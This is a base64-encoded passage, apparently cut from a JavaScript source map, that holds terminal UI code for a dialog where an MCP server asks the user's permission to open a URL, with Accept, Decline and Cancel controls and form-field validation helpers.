Hwga2V5LnJpZ2h0QXJyb3cpIHtcbiAgICAgICAgc2V0Rm9jdXNlZEJ1dHRvbihwcmV2ID0+IHtcbiAgICAgICAgICBjb25zdCBpZHggPSB3YWl0aW5nQnV0dG9ucy5pbmRleE9mKHByZXYpXG4gICAgICAgICAgY29uc3QgZGVsdGEgPSBrZXkucmlnaHRBcnJvdyA/IDEgOiAtMVxuICAgICAgICAgIHJldHVybiB3YWl0aW5nQnV0dG9uc1tcbiAgICAgICAgICAgIChpZHggKyBkZWx0YSArIHdhaXRpbmdCdXR0b25zLmxlbmd0aCkgJSB3YWl0aW5nQnV0dG9ucy5sZW5ndGhcbiAgICAgICAgICBdIVxuICAgICAgICB9KVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cbiAgICAgIGlmIChrZXkucmV0dXJuKSB7XG4gICAgICAgIGlmIChmb2N1c2VkQnV0dG9uID09PSAnb3BlbicpIHtcbiAgICAgICAgICB2b2lkIG9wZW5Ccm93c2VyKHVybClcbiAgICAgICAgfSBlbHNlIGlmIChmb2N1c2VkQnV0dG9uID09PSAnY2FuY2VsJykge1xuICAgICAgICAgIG9uV2FpdGluZ0Rpc21pc3M/LignY2FuY2VsJylcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICBvbldhaXRpbmdEaXNtaXNzPy4oc2hvd0NhbmNlbCA/ICdyZXRyeScgOiAnZGlzbWlzcycpXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH0pXG5cbiAgaWYgKHBoYXNlID09PSAnd2FpdGluZycpIHtcbiAgICBjb25zdCBhY3Rpb25MYWJlbCA9IHdhaXRpbmdTdGF0ZT8uYWN0aW9uTGFiZWwgPz8gJ0NvbnRpbnVlIHdpdGhvdXQgd2FpdGluZydcbiAgICByZXR1cm4gKFxuICAgICAgPERpYWxvZ1xuICAgICAgICB0aXRsZT17YE1DUCBzZXJ2ZXIgXFx1MjAxYyR7c2VydmVyTmFtZX1cXHUyMDFkIFxcdTIwMTQgd2FpdGluZyBmb3IgY29tcGxldGlvbmB9XG4gICAgICAgIHN1YnRpdGxlPXtgXFxuJHttZXNzYWdlfWB9XG4gICAgICAgIGNvbG9yPVwicGVybWlzc2lvblwiXG4gICAgICAgIG9uQ2FuY2VsPXsoKSA9PiBvbldhaXRpbmdEaXNtaXNzPy4oJ2NhbmNlbCcpfVxuICAgICAgICBpc0NhbmNlbEFjdGl2ZVxuICAgICAgICBpbnB1dEd1aWRlPXtleGl0U3RhdGUgPT5cbiAgICAgICAgICBleGl0U3RhdGUucGVuZGluZyA/IChcbiAgICAgICAgICAgIDxUZXh0PlByZXNzIHtleGl0U3RhdGUua2V5TmFtZX0gYWdhaW4gdG8gZXhpdDwvVGV4dD5cbiAgICAgICAgICApIDogKFxuICAgICAgICAgICAgPEJ5bGluZT5cbiAgICAgICAgICAgICAgPENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludFxuICAgICAgICAgICAgICAgIGFjdGlvbj1cImNvbmZpcm06bm9cIlxuICAgICAgICAgICAgICAgIGNvbnRleHQ9XCJDb25maXJtYXRpb25cIlxuICAgICAgICAgICAgICAgIGZhbGxiYWNrPVwiRXNjXCJcbiAgICAgICAgICAgICAgICBkZXNjcmlwdGlvbj1cImNhbmNlbFwiXG4gICAgICAgICAgICAgIC8+XG4gICAgICAgICAgICAgIDxLZXlib2FyZFNob3J0Y3V0SGludCBzaG9ydGN1dD1cIlxcdTIxOTBcXHUyMTkyXCIgYWN0aW9uPVwic3dpdGNoXCIgLz5cbiAgICAgICAgICAgIDwvQnlsaW5lPlxuICAgICAgICAgIClcbiAgICAgICAgfVxuICAgICAgPlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICA8Qm94IG1hcmdpbkJvdHRvbT17MX0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICAgIHt1cmxCZWZvcmVEb21haW59XG4gICAgICAgICAgICAgIDxUZXh0IGJvbGQ+e2RvbWFpbn08L1RleHQ+XG4gICAgICAgICAgICAgIHt1cmxBZnRlckRvbWFpbn1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgICA8Qm94IG1hcmdpbkJvdHRvbT17MX0+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvciBpdGFsaWM+XG4gICAgICAgICAgICAgIFdhaXRpbmcgZm9yIHRoZSBzZXJ2ZXIgdG8gY29uZmlybSBjb21wbGV0aW9u4oCmXG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgPEJveD5cbiAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPlxuICAgICAgICAgICAgICB7Zm9jdXNlZEJ1dHRvbiA9PT0gJ29wZW4nID8gZmlndXJlcy5wb2ludGVyIDogJyAnfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPFRleHRcbiAgICAgICAgICAgICAgYm9sZD17Zm9jdXNlZEJ1dHRvbiA9PT0gJ29wZW4nfVxuICAgICAgICAgICAgICBjb2xvcj17Zm9jdXNlZEJ1dHRvbiA9PT0gJ29wZW4nID8gJ3N1Y2Nlc3MnIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgICBkaW1Db2xvcj17Zm9jdXNlZEJ1dHRvbiAhPT0gJ29wZW4nfVxuICAgICAgICAgICAgPlxuICAgICAgICAgICAgICB7JyBSZW9wZW4gVVJMICAnfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCI+XG4gICAgICAgICAgICAgIHtmb2N1c2VkQnV0dG9uID09PSAnYWN0aW9uJyA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgIGJvbGQ9e2ZvY3VzZWRCdXR0b24gPT09ICdhY3Rpb24nfVxuICAgICAgICAgICAgICBjb2xvcj17Zm9jdXNlZEJ1dHRvbiA9PT0gJ2FjdGlvbicgPyAnc3VjY2VzcycgOiB1bmRlZmluZWR9XG4gICAgICAgICAgICAgIGRpbUNvbG9yPXtmb2N1c2VkQnV0dG9uICE9PSAnYWN0aW9uJ31cbiAgICAgICAgICAgID5cbiAgICAgICAgICAgICAge2AgJHthY3Rpb25MYWJlbH1gfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAge3Nob3dDYW5jZWwgJiYgKFxuICAgICAgICAgICAgICA8PlxuICAgICAgICAgICAgICAgIDxUZXh0PiA8L1RleHQ+XG4gICAgICAgICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPlxuICAgICAgICAgICAgICAgICAge2ZvY3VzZWRCdXR0b24gPT09ICdjYW5jZWwnID8gZmlndXJlcy5wb2ludGVyIDogJyAnfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dFxuICAgICAgICAgICAgICAgICAgYm9sZD17Zm9jdXNlZEJ1dHRvbiA9PT0gJ2NhbmNlbCd9XG4gICAgICAgICAgICAgICAgICBjb2xvcj17Zm9jdXNlZEJ1dHRvbiA9PT0gJ2NhbmNlbCcgPyAnZXJyb3InIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgICAgICAgZGltQ29sb3I9e2ZvY3VzZWRCdXR0b24gIT09ICdjYW5jZWwnfVxuICAgICAgICAgICAgICAgID5cbiAgICAgICAgICAgICAgICAgIHsnIENhbmNlbCd9XG4gICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICA8Lz5cbiAgICAgICAgICAgICl9XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgIDwvQm94PlxuICAgICAgPC9EaWFsb2c+XG4gICAgKVxuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT17YE1DUCBzZXJ2ZXIgXFx1MjAxYyR7c2VydmVyTmFtZX1cXHUyMDFkIHdhbnRzIHRvIG9wZW4gYSBVUkxgfVxuICAgICAgc3VidGl0bGU9e2BcXG4ke21lc3NhZ2V9YH1cbiAgICAgIGNvbG9yPVwicGVybWlzc2lvblwiXG4gICAgICBvbkNhbmNlbD17KCkgPT4gb25SZXNwb25zZSgnY2FuY2VsJyl9XG4gICAgICBpc0NhbmNlbEFjdGl2ZVxuICAgICAgaW5wdXRHdWlkZT17ZXhpdFN0YXRlID0+XG4gICAgICAgIGV4aXRTdGF0ZS5wZW5kaW5nID8gKFxuICAgICAgICAgIDxUZXh0PlByZXNzIHtleGl0U3RhdGUua2V5TmFtZX0gYWdhaW4gdG8gZXhpdDwvVGV4dD5cbiAgICAgICAgKSA6IChcbiAgICAgICAgICA8QnlsaW5lPlxuICAgICAgICAgICAgPENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludFxuICAgICAgICAgICAgICBhY3Rpb249XCJjb25maXJtOm5vXCJcbiAgICAgICAgICAgICAgY29udGV4dD1cIkNvbmZpcm1hdGlvblwiXG4gICAgICAgICAgICAgIGZhbGxiYWNrPVwiRXNjXCJcbiAgICAgICAgICAgICAgZGVzY3JpcHRpb249XCJjYW5jZWxcIlxuICAgICAgICAgICAgLz5cbiAgICAgICAgICAgIDxLZXlib2FyZFNob3J0Y3V0SGludCBzaG9ydGN1dD1cIlxcdTIxOTBcXHUyMTkyXCIgYWN0aW9uPVwic3dpdGNoXCIgLz5cbiAgICAgICAgICA8L0J5bGluZT5cbiAgICAgICAgKVxuICAgICAgfVxuICAgID5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8Qm94IG1hcmdpbkJvdHRvbT17MX0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAge3VybEJlZm9yZURvbWFpbn1cbiAgICAgICAgICAgIDxUZXh0IGJvbGQ+e2RvbWFpbn08L1RleHQ+XG4gICAgICAgICAgICB7dXJsQWZ0ZXJEb21haW59XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICAgPEJveD5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1Y2Nlc3NcIj5cbiAgICAgICAgICAgIHtmb2N1c2VkQnV0dG9uID09PSAnYWNjZXB0JyA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHRcbiAgICAgICAgICAgIGJvbGQ9e2ZvY3VzZWRCdXR0b24gPT09ICdhY2NlcHQnfVxuICAgICAgICAgICAgY29sb3I9e2ZvY3VzZWRCdXR0b24gPT09ICdhY2NlcHQnID8gJ3N1Y2Nlc3MnIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgZGltQ29sb3I9e2ZvY3VzZWRCdXR0b24gIT09ICdhY2NlcHQnfVxuICAgICAgICAgID5cbiAgICAgICAgICAgIHsnIEFjY2VwdCAgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPlxuICAgICAgICAgICAge2ZvY3VzZWRCdXR0b24gPT09ICdkZWNsaW5lJyA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHRcbiAgICAgICAgICAgIGJvbGQ9e2ZvY3VzZWRCdXR0b24gPT09ICdkZWNsaW5lJ31cbiAgICAgICAgICAgIGNvbG9yPXtmb2N1c2VkQnV0dG9uID09PSAnZGVjbGluZScgPyAnZXJyb3InIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgZGltQ29sb3I9e2ZvY3VzZWRCdXR0b24gIT09ICdkZWNsaW5lJ31cbiAgICAgICAgICA+XG4gICAgICAgICAgICB7JyBEZWNsaW5lJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgPC9Cb3g+XG4gICAgPC9EaWFsb2c+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLGNBQ0VBLHVCQUF1QixFQUN2QkMsc0JBQXNCLEVBQ3RCQyxZQUFZLEVBQ1pDLHlCQUF5QixRQUNwQixvQ0FBb0M7QUFDM0MsT0FBT0MsT0FBTyxNQUFNLFNBQVM7QUFDN0IsT0FBT0MsS0FBSyxJQUFJQyxXQUFXLEVBQUVDLFNBQVMsRUFBRUMsT0FBTyxFQUFFQyxNQUFNLEVBQUVDLFFBQVEsUUFBUSxPQUFPO0FBQ2hGLFNBQVNDLGtCQUFrQixRQUFRLGlDQUFpQztBQUNwRSxTQUFTQyxxQkFBcUIsUUFBUSxzQ0FBc0M7QUFDNUUsU0FBU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